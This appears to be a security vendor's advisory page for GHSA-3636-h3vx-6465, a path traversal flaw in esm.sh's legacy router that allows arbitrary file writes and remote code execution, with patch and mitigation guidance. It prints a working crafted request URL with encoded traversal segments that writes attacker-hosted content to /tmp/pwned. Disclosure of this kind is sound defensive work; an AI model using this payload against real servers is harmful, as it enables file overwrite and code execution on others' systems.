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GHSA-3636-h3vx-6465

GHSA-3636-h3vx-6465 is a remote code execution vulnerability in github.com/esm-dev/esm.sh. O3 Security confirms whether GHSA-3636-h3vx-6465 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

esm.sh: Legacy Route Path Traversal Can Lead to RCE

Also known asCVE-2026-44593GO-2026-5071
Published
May 12, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Jun 25, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐹github.com/esm-dev/esm.sh

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Impact

  • Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
  • Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).

For a URL such as:

http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

  1. URL Construction
    A crafted request is sent to the server:

    http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned
    
  2. Proxy to Legacy Server
    The request is forwarded to:

    http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned
    

    which resolves to:

    http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md
    
  3. File Retrieval
    The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.

  4. Path Normalisation & Storage
    The storage path derived from the request is:

    legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
    

    Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.

  5. Result
    By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.

Credit Discovery To

splitline (@_splitline_) from DEVCORE Research Team

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/esm-dev/esm.shall versions0.0.0-20260508100112-1960055e1d53

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/esm-dev/esm.sh to 0.0.0-20260508100112-1960055e1d53 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3636-h3vx-6465 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-3636-h3vx-6465 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-3636-h3vx-6465. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact - Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. - Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges. ### Exploit The legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>). For a URL such as: ``` h
O3 Security · Impact-Aware SCA

Is GHSA-3636-h3vx-6465 in your dependencies?

O3 detects GHSA-3636-h3vx-6465 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-3636-h3vx-6465: esm.sh: Legacy Route… | O3 Security